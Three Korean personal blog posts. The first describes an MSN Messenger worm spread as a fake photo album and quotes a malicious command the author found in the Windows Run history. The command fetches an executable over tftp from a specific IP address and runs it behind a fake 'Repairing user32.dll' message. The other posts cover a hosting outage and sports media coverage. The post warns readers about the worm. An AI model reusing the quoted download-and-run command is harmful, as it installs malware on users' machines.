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회사에서 일하고 있는데 MSN메신저에 등록된 초등학교 친구로부터
파일이 하나 전송되었다..

평소에 대화를 잘 하지 않는 친구였는데..
갑자기 파일을 보내다니.. 이상하다 생각은 했지만.. 수락해서 받았고,
파일이름은 photo album.zip 이였다.

파일을 클릭해서 여니 photo album2007.pif 이라는 파일이 들어있었고,
다행이 압축을 특정 경로에 풀어서 실행한게 아니라 알집에서 더블클릭해서 오픈한 것이기에..
TMP 디렉토리에 풀리게 되었었다.

즉시 하우리 백신 프로그램에서 바이러스라는 경보를 띄우면서 차단했고
다행히 바이러스로 부터 탈출을 했다.


이상해서 친구에게 대화를 걸었더니 어제 바이러스에 감염되었다고 말하면서 다 잡은줄 알았는데 잘 모르겠다는
말도 이어졌다.

일단은 백신 프로그램을 받고 설치한 후에 인터넷 선을 제거하고 바이러스부터 잡으라는 말을 했다.

도스시절에야 F5키를 눌러서 부팅하고 V3로 모든 파일을 점검하면 끝이였으나 지금은 백신프로그램도
프로그램이기에 설치를 해야되서 초보자인 친구들에게 어떻게 하라..라는 설명을 하기도 무척이나 애매하다.



몇 시간뒤..
다시 메신저 창이 열리면서
hey man accept my new photo album.. :( ...
라는 내용이 떴다..그제서야 눈치챘고 확인해보니 바이러스가 확실했다.

네이버에 관련 뉴스가 떠서 링크를 해본다.

메신저로 급속 확산 ‘웜’ 주의보…메신저 전송 사진 열지 마세요


이후 뉴스에 나와있는 rdshost.dll 파일이 시스템에 존재하지 않을까 라는 우려로
파일찾기를 통해 검색하던 중.. 시스템이 심하게 버벅거리는 현상이 발생..
Windows 작업관리자를 호출, explorer.exe 프로세서를 죽이고 다시 실행하려고 들어갔는데..

실행창에 알수없는 명령이 남겨져있었다.

%comspec% /c echo Repairing user32.dll & echo Please wait... & tftp -i 38.98.159.34 GET otdxxgcf.exe & start otdxxgcf&

대충 내용을 보니..
1. command prompt를 띄우고
2. user32.dll 파일을 고친다는 메시지를 띄우면서
3. 38.98.159.34 주소를 가진 호스트로 접속해서
4. otdxxgcf.exe파일을 받아서 실행해라.

이상하단 생각에..
일단 IP를 조회했다.

OrgName:    Performance Systems International Inc.
OrgID:      PSI
Address:    1015 31st St NW
City:       Washington
StateProv:  DC
PostalCode: 20007
Country:    US


미국 워싱턴에 있는 PSI 의 IP였다. 소득없이 허탕..
게다가 현재에 ping을 쏴봐도 응답이 없었다. 개인PC로 생각될뿐..

실행파일명을 구글에서 조회해도 아무런 결과는 없고..
(보나마나 뻔하다.. 임의로 생각되는 파일임이 분명..)


혹시 MSN메신저로 그러한 파일을 요청을 받은 적이 있는가?
그렇다면 시작버튼을 누르고 실행에서 명령 기록을 한번 확인해보십시오.

사용자 삽입 이미지


자.. 여러분의 PC는 안전하십니까??

Posted by 컴ⓣing
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호스팅을 받고 있는 마루호스팅에서 메일이 왔습니다.

서버가 있는 하나로 IDC에서 전원 이중화를 요구하여 그렇게 된다고 하네요;;
작업시간은 29일(금요일) 0시부터 8시까지라고 합니다..

(흑흑;; 저 시간동안 블로그를 못하게 되다니..;;; 무척이나 안타깝습니다..;;)

사실은.. 못하는 것도 못하는 것이지만..

시험기간이 되면 TV에서 더욱 재미있는 것들을 하는 것처럼...
블로그를 사용 못하는 시간대에 쓰고픈 글이 생각나면 어떻게 해야하나... 라든지 말이죠-_-;;

그런 걱정들이 벌써부터 머리속을..
orz;;;


ps : 그나저나 말입니다;;; 전에 쓰던 호스팅회사도 하나로 IDC에 입주해있다그러던데...
어떻게 저는 호스팅을 결정하면 모두 하나로 IDC에 입주해있는 회사만을 골라내는 것일까요? 
거참 신기합니다..
 
Posted by 컴ⓣing
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요즘 거리를 걸으면 김태환선수와 김연아 선수의 이야기도 많이 들리고 광고에 대한 이야기도 많이 들리는 듯 싶다. 문득 그런 사람들의 관심과 언론의 보도를 들으며 한번쯤은 이런 이야기를 올려야겠다...라는 생각을 하다가 비로소 오늘에서야 올려본다.

사실 수영이나 피겨스케이팅은
축구나 야구처럼 대중화된 스포츠가 아니기에 그리고 언제 어디서나 손쉽게 즐길 수 있는 스포츠가 아니기에
김태환 선수나 김연아 선수가 이뤄낸 결과가 더욱 빛나보이는 듯 하다.

평소 국민들이 별로 관심을 가져주지 않는(!) 스포츠에서 이뤄낸 메달, 성적이기에 더욱 값질 수는 있다.

하지만 지금 이 시점에서 걱정이 된다.
언제나 그래왔지만.. 이러한 결과가 있을때마다 우리의 언론들은 우르르르..
소 몰이하듯이 여론을 이끌어 갔었고..
또 다른 사건, 사고가 있으면 그 곳으로 몰아갈 것이다.

지금 이러한 관심이 지속적인 것이 아닌 일시적인 것일 수 있다는 것이 염려된다.
언론이 휘저어놓은 거품이 빠지고 나면 이들 종목은 다시 한번
별로 관심을 가져주지 않는(!) 스포츠가 될 것이기 때문이다.


사실 개인적인 생각이지만.. 골프가 이러한 문제를 잘 피해갔다고 생각한다.
박세리선수의 쾌거이후 수많은 프로그램에서 박세리 선수를 띄웠고, 높은 학구열로 인하여
골프를 배우는 학생이 늘어났다. 스포츠 뉴스에서 골프를 다루는 시간도 늘어났고...

사실 그렇게 확장된 골프 신드롬이 박세리 선수 이전 만큼 줄어들었다고 생각하지는 않는다.
그래서 그나마 성공하지 않았나 생각해본다.

어제도 연습, 오늘도 연습, 내일도 묵묵히 연습하고 실력을 갈고 닦은 우리의 선수들이
국제사회에서 대한민국이라는 이름을 달고 조국의 이름을 날리고 돌아왔을 때
우리 사회가, 언론이 이들의 쾌거를 칭찬하고 기뻐하고 좀 더 많은 스포츠 환경을 이룰 수 있도록 할 수 있었음
좋겠다.

한때의 인기종목인냥 결과만 앞세워 떠들어대다가 거품처럼 사라져버리지 말고 말이다..

Posted by 컴ⓣing
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